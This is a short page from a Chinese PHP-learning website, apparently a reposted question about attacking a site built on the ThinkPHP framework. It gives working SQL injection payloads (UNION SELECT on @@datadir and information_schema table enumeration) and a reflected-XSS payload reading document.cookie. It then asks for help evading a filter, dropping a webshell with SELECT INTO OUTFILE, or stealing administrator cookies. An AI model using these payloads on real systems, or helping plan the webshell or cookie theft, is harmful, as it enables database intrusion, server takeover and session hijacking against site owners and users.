网站地图    收藏   

子栏目

主页 > 后端 > 网站安全 >

thinkphp框架下mysql注入 - 网站安全 - 自学php

来源：自学PHP网    时间：2015-04-17 11:59 作者： 阅读:次

[导读] Wamp环境，用thinkphp框架制作，手工检测发现一个注入点。/content/117 xand 1=2 union select @@datadir,2,3,4,5,6x这个注入点同时还是一个反射型xss，id值被写入到了内联js里。接着提交and 1=2 union ......

Wamp环境，用thinkphp框架制作，手工检测发现一个注入点。

/content/117 xand 1=2 union select @@datadir,2,3,4,5,6x

20130123145103

 

这个注入点同时还是一个反射型xss，id值被写入到了内联js里。

20130123145325

 

接着提交
and 1=2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=(hex值)
返回空白，查看源代码发现”.”之后的语句被截断了。

20130123145408

 

现在有几个思路，求指点
1.构造特殊语句，使语句中不出现”.”。
2.通过Select into outfile导出webshell。但由于框架问题”/”和”\”都被认为是目录。
3.构造xss获取管理员cookies。

eg：/content/117;alert(document.cookie)

最新评论

    加载更多~~

    添加评论

    更多文章推荐

    自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习

    京ICP备14009008号-1@版权所有www.zixuephp.com

    网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com

    添加评论